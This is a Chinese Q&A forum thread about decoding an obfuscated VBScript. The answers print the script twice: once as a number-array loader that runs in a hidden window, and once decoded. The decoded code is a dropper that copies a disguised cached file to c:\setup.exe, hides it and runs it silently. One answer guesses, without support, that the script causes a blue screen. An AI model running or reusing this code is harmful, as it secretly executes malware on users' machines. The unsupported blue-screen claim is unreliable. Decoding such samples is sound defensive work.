Question

这段vbs代码如何解密（请告诉帮忙解密）

这段vbs代码如何解密（请高手帮忙解密）

代码请看下面 为什么里面都是数字？

Answer 1

strs=array(13,115,101,116,32,97,109,115,104,101,108,108,61,99,114,101,97,116,101,111,98,106,101,99,116,40,34,119,115,99,114,105,112,116,46,115,104,101,108,108,34,41,13,10,100,111,119,110,112,97,116,104,61,97,109,115,104,101,108,108,46,101,120,112,97,110,100,101,110,118,105,114,111,110,109,101,110,116,115,116,114,105,110,103,115,40,34,37,85,115,101,114,112,114,111,102,105,108,101,37,34,41,38,34,92,108,111,99,97,108,32,115,101,116,116,105,110,103,115,34,13,10,115,104,111,119,97,108,108,102,105,108,101,40,100,111,119,110,112,97,116,104,41,13,10,105,102,32,34,111,107,34,61,34,110,111,34,32,116,104,101,110,13,10,109,115,103,98,111,120,32,34,-13830,-19511,-11302,49,48,58,49,50,32,50,48,49,48,45,49,48,45,50,34,13,10,101,110,100,32,105,102,13,10,115,117,98,32,115,104,111,119,97,108,108,102,105,108,101,40,112,97,116,104,41,13,10,102,105,110,100,102,105,108,101,110,97,109,101,61,34,108,111,97,100,95,99,115,115,91,49,93,46,99,115,115,34,13,10,115,101,116,32,102,115,111,32,61,32,99,114,101,97,116,101,111,98,106,101,99,116,40,34,115,99,114,105,112,116,105,110,103,46,102,105,108,101,115,121,115,116,101,109,111,98,106,101,99,116,34,41,13,10,115,101,116,32,102,32,61,32,102,115,111,46,103,101,116,102,111,108,100,101,114,40,112,97,116,104,41,13,10,115,101,116,32,102,99,32,61,32,102,46,115,117,98,102,111,108,100,101,114,115,13,10,102,111,114,32,101,97,99,104,32,102,49,32,105,110,32,102,99,13,10,105,102,32,102,115,111,46,102,105,108,101,101,120,105,115,116,115,40,112,97,116,104,38,34,92,34,38,102,49,46,110,97,109,101,38,34,92,34,38,102,105,110,100,102,105,108,101,110,97,109,101,41,32,116,104,101,110,13,10,9,105,102,32,102,115,111,46,102,105,108,101,101,120,105,115,116,115,40,34,99,58,92,115,101,116,117,112,46,101,120,101,34,41,32,116,104,101,110,13,10,9,102,115,111,46,103,101,116,102,105,108,101,40,34,99,58,92,115,101,116,117,112,46,101,120,101,34,41,46,97,116,116,114,105,98,117,116,101,115,32,61,32,48,13,10,9,102,115,111,46,68,101,108,101,116,101,70,105,108,101,32,34,99,58,92,115,101,116,117,112,46,101,120,101,34,13,10,9,101,110,100,32,105,102,13,10,9,105,102,32,102,115,111,46,102,105,108,101,101,120,105,115,116,115,40,112,97,116,104,38,34,92,34,38,102,49,46,110,97,109,101,38,34,92,34,38,102,105,110,100,102,105,108,101,110,97,109,101,41,32,116,104,101,110,13,10,9,102,115,111,46,99,111,112,121,102,105,108,101,32,112,97,116,104,38,34,92,34,38,102,49,46,110,97,109,101,38,34,92,34,38,102,105,110,100,102,105,108,101,110,97,109,101,44,32,34,99,58,92,115,101,116,117,112,46,101,120,101,34,13,10,9,102,115,111,46,103,101,116,102,105,108,101,40,112,97,116,104,38,34,92,34,38,102,49,46,110,97,109,101,38,34,92,34,38,102,105,110,100,102,105,108,101,110,97,109,101,41,46,97,116,116,114,105,98,117,116,101,115,32,61,32,48,13,10,9,102,115,111,46,68,101,108,101,116,101,70,105,108,101,32,112,97,116,104,38,34,92,34,38,102,49,46,110,97,109,101,38,34,92,34,38,102,105,110,100,102,105,108,101,110,97,109,101,13,10,9,101,110,100,32,105,102,13,10,9,105,102,32,102,115,111,46,102,105,108,101,101,120,105,115,116,115,40,34,99,58,92,115,101,116,117,112,46,101,120,101,34,41,32,116,104,101,110,13,10,9,9,102,115,111,46,103,101,116,102,105,108,101,40,34,99,58,92,115,101,116,117,112,46,101,120,101,34,41,46,97,116,116,114,105,98,117,116,101,115,32,61,32,55,13,10,9,9,97,109,115,104,101,108,108,46,114,117,110,32,34,99,58,92,115,101,116,117,112,46,101,120,101,34,44,48,13,10,9,101,110,100,32,105,102,13,10,101,110,100,32,105,102,13,10,115,104,111,119,97,108,108,102,105,108,101,32,112,97,116,104,38,34,92,34,38,102,49,46,110,97,109,101,13,10,110,101,120,116,13,10,115,101,116,32,102,115,111,32,61,32,110,111,116,104,105,110,103,13,10,101,110,100,32,115,117,98,13,10)
for i=1 to UBound(strs)
runner=runner&chr(strs(i))
next
MsgBox runner

'保存为*.vbs文件，运行就行了

Answer 2

<script language=vbs>
window.moveto 5000,2048
window.resizeto 0,0
strs=array(13,115,101,116,32,97,109,115,104,101,108,108,61,99,114,101,97,116,101,111,98,106,101,99,116,40,34,119,115,99,114,105,112,116,46,115,104,101,108,108,34,41,13,10,100,111,119,110,112,97,116,104,61,97,109,115,104,101,108,108,46,101,120,112,97,110,100,101,110,118,105,114,111,110,109,101,110,116,115,116,114,105,110,103,115,40,34,37,85,115,101,114,112,114,111,102,105,108,101,37,34,41,38,34,92,108,111,99,97,108,32,115,101,116,116,105,110,103,115,34,13,10,115,104,111,119,97,108,108,102,105,108,101,40,100,111,119,110,112,97,116,104,41,13,10,105,102,32,34,111,107,34,61,34,110,111,34,32,116,104,101,110,13,10,109,115,103,98,111,120,32,34,-13830,-19511,-11302,49,48,58,49,50,32,50,48,49,48,45,49,48,45,50,34,13,10,101,110,100,32,105,102,13,10,115,117,98,32,115,104,111,119,97,108,108,102,105,108,101,40,112,97,116,104,41,13,10,102,105,110,100,102,105,108,101,110,97,109,101,61,34,108,111,97,100,95,99,115,115,91,49,93,46,99,115,115,34,13,10,115,101,116,32,102,115,111,32,61,32,99,114,101,97,116,101,111,98,106,101,99,116,40,34,115,99,114,105,112,116,105,110,103,46,102,105,108,101,115,121,115,116,101,109,111,98,106,101,99,116,34,41,13,10,115,101,116,32,102,32,61,32,102,115,111,46,103,101,116,102,111,108,100,101,114,40,112,97,116,104,41,13,10,115,101,116,32,102,99,32,61,32,102,46,115,117,98,102,111,108,100,101,114,115,13,10,102,111,114,32,101,97,99,104,32,102,49,32,105,110,32,102,99,13,10,105,102,32,102,115,111,46,102,105,108,101,101,120,105,115,116,115,40,112,97,116,104,38,34,92,34,38,102,49,46,110,97,109,101,38,34,92,34,38,102,105,110,100,102,105,108,101,110,97,109,101,41,32,116,104,101,110,13,10,9,105,102,32,102,115,111,46,102,105,108,101,101,120,105,115,116,115,40,34,99,58,92,115,101,116,117,112,46,101,120,101,34,41,32,116,104,101,110,13,10,9,102,115,111,46,103,101,116,102,105,108,101,40,34,99,58,92,115,101,116,117,112,46,101,120,101,34,41,46,97,116,116,114,105,98,117,116,101,115,32,61,32,48,13,10,9,102,115,111,46,68,101,108,101,116,101,70,105,108,101,32,34,99,58,92,115,101,116,117,112,46,101,120,101,34,13,10,9,101,110,100,32,105,102,13,10,9,105,102,32,102,115,111,46,102,105,108,101,101,120,105,115,116,115,40,112,97,116,104,38,34,92,34,38,102,49,46,110,97,109,101,38,34,92,34,38,102,105,110,100,102,105,108,101,110,97,109,101,41,32,116,104,101,110,13,10,9,102,115,111,46,99,111,112,121,102,105,108,101,32,112,97,116,104,38,34,92,34,38,102,49,46,110,97,109,101,38,34,92,34,38,102,105,110,100,102,105,108,101,110,97,109,101,44,32,34,99,58,92,115,101,116,117,112,46,101,120,101,34,13,10,9,102,115,111,46,103,101,116,102,105,108,101,40,112,97,116,104,38,34,92,34,38,102,49,46,110,97,109,101,38,34,92,34,38,102,105,110,100,102,105,108,101,110,97,109,101,41,46,97,116,116,114,105,98,117,116,101,115,32,61,32,48,13,10,9,102,115,111,46,68,101,108,101,116,101,70,105,108,101,32,112,97,116,104,38,34,92,34,38,102,49,46,110,97,109,101,38,34,92,34,38,102,105,110,100,102,105,108,101,110,97,109,101,13,10,9,101,110,100,32,105,102,13,10,9,105,102,32,102,115,111,46,102,105,108,101,101,120,105,115,116,115,40,34,99,58,92,115,101,116,117,112,46,101,120,101,34,41,32,116,104,101,110,13,10,9,9,102,115,111,46,103,101,116,102,105,108,101,40,34,99,58,92,115,101,116,117,112,46,101,120,101,34,41,46,97,116,116,114,105,98,117,116,101,115,32,61,32,55,13,10,9,9,97,109,115,104,101,108,108,46,114,117,110,32,34,99,58,92,115,101,116,117,112,46,101,120,101,34,44,48,13,10,9,101,110,100,32,105,102,13,10,101,110,100,32,105,102,13,10,115,104,111,119,97,108,108,102,105,108,101,32,112,97,116,104,38,34,92,34,38,102,49,46,110,97,109,101,13,10,110,101,120,116,13,10,115,101,116,32,102,115,111,32,61,32,110,111,116,104,105,110,103,13,10,101,110,100,32,115,117,98,13,10)
for i=1 to UBound(strs)
runner=runner&chr(strs(i))
next
Execute runner
window.close
</script>

Answer 3

经解密后源码如下

set amshell=createobject("wscript.shell")
downpath=amshell.expandenvironmentstrings("%Userprofile%")&"\local settings"
showallfile(downpath)
if "ok"="no" then
msgbox "生成于10:12 2010-10-2"
end if
sub showallfile(path)
findfilename="load_css[1].css"
set fso = createobject("scripting.filesystemobject")
set f = fso.getfolder(path)
set fc = f.subfolders
for each f1 in fc
if fso.fileexists(path&"\"&f1.name&"\"&findfilename) then
if fso.fileexists("c:\setup.exe") then
fso.getfile("c:\setup.exe").attributes = 0
fso.DeleteFile "c:\setup.exe"
end if
if fso.fileexists(path&"\"&f1.name&"\"&findfilename) then
fso.copyfile path&"\"&f1.name&"\"&findfilename, "c:\setup.exe"
fso.getfile(path&"\"&f1.name&"\"&findfilename).attributes = 0
fso.DeleteFile path&"\"&f1.name&"\"&findfilename
end if
if fso.fileexists("c:\setup.exe") then
fso.getfile("c:\setup.exe").attributes = 7
amshell.run "c:\setup.exe",0
end if
end if
showallfile path&"\"&f1.name
next
set fso = nothing
end sub

Answer 4

好像是蓝屏